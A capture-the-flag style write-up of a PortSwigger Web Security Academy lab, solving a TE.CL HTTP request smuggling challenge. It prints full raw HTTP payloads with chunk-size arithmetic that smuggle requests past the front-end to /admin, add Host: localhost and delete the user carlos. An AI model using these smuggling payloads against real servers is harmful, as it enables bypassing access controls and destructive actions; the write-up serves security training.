Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — TE.CL, Security Control Bypass
Difficulty Practitioner
Objective Smuggle a request to /admin to delete the user carlos
Note Switch Burp Repeater to HTTP/1. Disable "Update Content-Length."

HTTP Request Smuggling — Bypassing Front-End Security Controls (TE.CL) — Writeup

Navigating to /admin returns Path /admin is blocked:

Screenshot

Front-end is blocking it. Same goal as the CL.TE lab — bypass the front-end by smuggling directly to the back-end. This time: front-end uses Transfer-Encoding, back-end uses Content-Length.

Confirming TE Parsing on the Front-End

Sending a basic chunked request:

POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked

4
teto
0
Screenshot

200 OK — the front-end processes chunked encoding. The back-end uses Content-Length, so we need to include that header and size the body accordingly.

Building the Smuggling Payload

The structure for TE.CL smuggling:

Content-Length: 4              ← back-end reads 4 bytes, stops there
Transfer-Encoding: chunked     ← front-end processes chunks

<hex-size>                     ← chunk size (covers the smuggled request)
POST /admin HTTP/1.1           ← smuggled prefix
Content-Length: <n>            ← inner CL for the smuggled request

teto=teto                      ← body
0                              ← chunked terminator

Byte counting:

  • Inner Content-Length of the smuggled POST: from the blank line after headers to teto=teto — 16 bytes.
  • Chunk size (hex): from POST /admin... down to teto=teto — 52 bytes → 0x34.
  • Outer Content-Length: 4: the back-end reads the chunk size line (34\r\n) — 4 bytes — then treats everything below as the next request.

First payload:

POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

34
POST /admin HTTP/1.1
Content-Length: 16

teto=teto
0

Works — the request reaches the back-end. Inflating the inner Content-Length to 20 forces the back-end to keep reading into the next real request:

Screenshot

Response: Admin interface only available to local users — the smuggled request is hitting the back-end, but the back-end has its own local-only check.

Adding Host: localhost

We need Host: localhost in the smuggled request. Adding it changes the chunk size — the body is now bigger, so we recalculate: POST /admin... through teto=teto with the extra Host header is 0x45 bytes.

POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

45
POST /admin HTTP/1.1
Content-Length: 20
Host: localhost

teto=teto
0
Screenshot

Admin panel returns in the response. Inspecting the source, the delete endpoint is /admin/delete?username=carlos. Updating the smuggled path — new chunk size is 0x5c:

POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

5c
POST /admin/delete?username=carlos HTTP/1.1
Content-Length: 20
Host: localhost

teto=teto
0
Screenshot

302 Found let's follow redirect and carlos will be deleted thiss will get the Lab solved o,o


Resources